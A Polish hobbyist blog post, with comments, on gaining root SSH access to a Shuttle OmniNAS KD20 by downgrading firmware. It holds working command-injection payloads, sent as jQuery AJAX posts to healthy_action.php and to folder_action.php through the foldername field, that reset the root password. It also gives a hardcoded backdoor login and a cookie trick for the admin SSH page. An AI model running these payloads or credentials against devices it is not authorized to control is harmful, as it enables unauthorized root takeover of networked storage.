Jednak troszkę poszperałem w internecie i znalazłem jak uruchomić SSH na starszym firmware (do 2.35)
http://asham.ca/hardware/2013/12/getting-root-and-sshd-on-boot-with-the-shuttle-omninas-kd20/
Niestety tamto rozwiązanie działa poprawnie wyłącznie dla firmware do wersji 2.35.
Jeśli mamy nowszy firmware, musimy wrócić właśnie do wersji 2.35, którą możemy pobrać ze strony producenta:
http://global.shuttle.com/main/productsDownload?productId=1629
Logujemy się na Storage -> Disk Manager, wysyłamy z konsoli:
$.ajax({
type:"POST",
url: 'http://nas/action/healthy_action.php',
cache: false,
data: "devName=/dev/sd; (echo \"foobar\nfoobar\n\" | sudo passwd root) ",
success:function(data){
console.log(data)
}
});
Wybaczcie, że nie piszę łopatologicznie, ale osoby, które wiedzą o co chodzi - będą wiedziały co zrobić - pozostałe lepiej niech nie dotykają ssh ;-)
Teraz robimy upgrade do najnowszej wersji.
Wywalamy w przeglądarce wszystkie ciasteczka dla adresu naszego NAS'a, tworzymy nowe o nazwie
Teraz wchodzimy na adres: http://nas/admin/ssh.php
I już wiecie co zrobić :)
żeby dodać ssh do autostartu, dodajcie:
/etc/rc.d/sshd.sh startprzed 'exit 0' w pliku /etc/rc
Miłej zabawy!
Pamiętajcie, że robicie to na własną odpowiedzialność!!
EDIT:
poprawiłem błąd w nazwie ciasteczka - powinno być aton_nas_ssh, a nie atton_nas_ssh.
6 komentarzy:
HI!
FYI - ajax post method still works for the newest FW v.2.38.20140728, but in another location.
Here are the steps that I took:
1. start ssh by Semmy/pawlak method: go to http://192.168.2.200/admin/ssh.php (user/pass: atonnas/backdoor) - check SSH, save;
2. login to your NAS admin page, go to Share->Add folder;
3. open your browser console and execute code:
$.ajax({
type:"POST",
url: 'http://192.168.2.200/action/folder_action.php',
cache: false,
data: {
folder_type: "new",
foldername: "xxxx; (echo \"foobar\nfoobar\n\" | sudo passwd root)"
},
success:function(data){
console.log(data)
}
});
4. viola! you can now ssh(putty) to your NAS with user/login: root/foobar
You're welcome;)
mógłbyś napisać jak zainstalować ipkg oraz jakiś serwer ftp?
ShareBox doesn`t work after this hack
"Empty Repository Object" ERROR
Could You fix it ?
Witam,
czy mógłby ktoś rozjaśnić ?
http://blog.mycroes.nl/2015/02/getting-root-ssh-access-on-shuttle.html
Pozdrawiam.
for everyone who used method with "Folder Add" tab from comments section. If you have problems with samba, caused of corrupted folder (added by this ajax script), try this:
delete this folder using vi from xml files:
/etc/nas_conf_db.xml
/initrd/etc/nas_conf_db.xml
/system/etc/nas_conf_db.xml (there was none in this file)
and delete it from "smb.conf" files (two of them)
next type "smbd restart"
only found one smb.conf at /initrd/etc/samba
where is the other one ?
Prześlij komentarz